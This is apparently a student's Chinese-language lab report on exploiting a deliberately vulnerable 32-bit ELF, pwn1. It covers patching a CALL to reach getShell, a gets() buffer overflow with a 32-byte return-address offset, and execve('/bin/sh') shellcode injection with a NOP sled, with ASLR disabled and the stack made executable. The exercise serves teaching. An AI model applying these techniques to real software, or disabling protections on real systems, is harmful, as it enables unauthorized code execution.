20242311 2026-2027-1 《网络与系统攻防技术》实验1实验报告
姓名:王润章
学号:20242311
1. 基础知识
1.1 ELF、反汇编与调试
ELF(Executable and Linkable Format)是 Linux 上常见的可执行文件格式。本实验的 pwn1 是 32 位 i386 ELF,虽然 Kali 系统内核为 x86_64,但已具备 32 位程序运行所需的解释器和库,因此不需要更换虚拟机。
实验主要使用 file 确定文件类型,objdump 查看机器指令及函数调用,十六进制编辑工具修改可执行文件内容,xxd 核对二进制输入文件,gdb 查看寄存器、栈数据及单步执行过程。
1.2 常见汇编指令和机器码
在 x86 指令集中,同一种指令可能因操作数和跳转距离不同而有不同编码,下表列出本实验需要掌握的常见形式。
| 指令 | 作用 | 常见机器码示例 | 说明 |
|---|---|---|---|
NOP |
不执行实际操作,EIP 前进 | 90 |
可构成 NOP 滑板 |
JMP |
无条件跳转 | EB xx、E9 xx xx xx xx |
分别是短相对跳转和近相对跳转 |
JE |
比较相等时跳转 | 74 xx、0F 84 xx xx xx xx |
通常检测 ZF=1 |
JNE |
比较不相等时跳转 | 75 xx、0F 85 xx xx xx xx |
通常检测 ZF=0 |
CMP |
比较两个操作数并修改标志位 | 3D xx xx xx xx |
该示例是 cmp eax, imm32,其他操作数编码不同 |
CALL |
压入返回地址并调用目标 | E8 xx xx xx xx |
本实验使用 call rel32 |
RET |
从栈中取出返回地址 | C3 |
是返回地址覆盖的关键位置 |
本实验修改的 CALL 指令采用 相对于下一条指令的地址 计算位移,而不是直接把目标函数绝对地址写在指令中。32 位 x86 内存按小端序保存多字节数值,例如地址 0x0804847d 在文件中写成 7d 84 04 08。
1.3 函数栈帧和缓冲区溢出
foo 通过 gets 读取输入。gets 不检查目标缓冲区大小,输入过长时会覆盖缓冲区后面的栈数据,包括保存的 EBP 和函数返回地址。当 ret 从被覆盖的栈位置读取返回地址时,程序就可能跳转到指定位置。
结合本实验的反汇编:
push ebp
mov ebp, esp
sub esp, 0x38
lea eax, [ebp-0x1c] ; buffer 起始地址
...
leave
ret
buffer 起始位置为 ebp-0x1c。从缓冲区起始处到返回地址的距离为 0x1c + 4 = 0x20,即 32 字节。其中 sub esp,0x38 表示为当前函数栈帧保留空间,不能直接当成返回地址覆盖偏移量。
1.4 Shellcode、NOP 滑板和内存保护
Shellcode 是要让目标进程执行的一段机器指令。任务三采用指导书中的 32 位 Linux Shellcode,目标是通过系统调用 execve("/bin/sh", ...) 启动 Shell。本实验采用的 RNS 布局为:
[任意填充 anything][返回地址 retaddr][NOP 滑板][Shellcode]
32 字节 4 字节 16 字节 25 字节
NOP 滑板允许返回地址落在一段连续的 90 指令中,顺序执行后进入 Shellcode。为了在课堂实验中验证这一机制,需要确认栈具有执行权限,同时关闭地址空间布局随机化(ASLR)。本机没有使用指导书中的 execstack -s 工具,而采用 patchelf --set-execstack 达到可执行栈的实验目的。关闭 ASLR 并不代表不同启动方式下栈地址必定完全相同。
2. 实验内容
实验对象为Linux 32位ELF程序pwn1。
正常流程:
main -> foo -> 回显输入
程序包含不会正常调用的 getShell 函数。
实验任务:
- 修改机器指令,使main调用getShell。
- 利用foo函数BOF漏洞覆盖返回地址。
- 注入Shellcode并验证执行。
实验文件命名:
pwn2_20242311
pwn3_20242311
input_20242311
input_shellcode_20242311
3. 实验过程
3.1 修改机器指令改变执行流程
分析得到:
getShell = 0x0804847d
foo = 0x08048491
main = 0x080484af
原始:
080484b5: e8 d7 ff ff ff call 8048491 <foo>
计算:
0x0804847d - 0x080484ba = -0x3d
修改:
e8 d7 ff ff ff
为:
e8 c3 ff ff ff
生成:
pwn2_20242311
修改后:
080484b5: e8 c3 ff ff ff call 804847d <getShell>


运行:
./pwn2_20242311
进入Shell:

3.2 BOF覆盖返回地址
通过GDB确认:
- 前32字节为填充;
- 第33~36字节覆盖返回地址。
getShell:
0x0804847d
小端:
7d 84 04 08
生成:
input_20242311
执行:
(cat input_20242311;cat)|./pwn1
成功跳转到getShell。


3.3 Shellcode注入
3.3.1 环境配置
使用:
pwn3_20242311
检查:
ELF 32-bit LSB executable
设置:
patchelf --set-execstack pwn3_20242311
结果:
execstack: X
关闭ASLR:
cat /proc/sys/kernel/randomize_va_space
结果:
0

3.3.2 分析foo和构造Payload
foo中:
lea eax,[ebp-0x1c]
call gets
ret

测试过程中确认缓冲区位置:

构造测试Payload:

查看栈布局:

实验过程中发现虚拟机重启后ASLR恢复,需要重新关闭:
echo 0 > /proc/sys/kernel/randomize_va_space
重新测量得到:
NOP地址 = 0xffffcee0
最终Payload:


3.3.3 GDB验证
执行ret后:
eip = 0xffffcee0
进入NOP区域:
nop
nop
xor eax,eax

继续:
catch exec
run < input_shellcode_20242311
得到:
process xxxx is executing new program: /usr/bin/dash
说明Shellcode执行成功。


3.3.4 普通终端验证
执行:
(cat input_shellcode_20242311;cat)|./pwn3_20242311
出现:
broken pipe
illegal hardware instruction
原因是普通终端和GDB环境存在栈布局差异。

4. 问题及解决方案
问题1:任务三初始Payload失败
解决方案:
发现虚拟机重启后ASLR恢复为默认值,重新关闭ASLR并重新测量地址。
问题2:旧返回地址失效
解决方案:
重新测量NOP区域,得到:
0xffffcee0
重新生成Payload。
问题3:普通终端执行异常
解决方案:
通过GDB:
catch exec
确认Shellcode已经成功执行。
5. 学习感悟、思考等
通过本实验,我掌握了ELF分析、机器指令修改、函数调用过程以及Buffer
Overflow攻击原理。
任务一让我理解了CALL相对地址计算。
任务二让我理解了栈帧结构和返回地址覆盖。
任务三让我理解了Shellcode注入、NOP滑板以及ASLR对攻击稳定性的影响。
实验过程中遇到的问题说明,在实际安全分析中不能简单依赖固定地址,需要结合运行环境重新分析。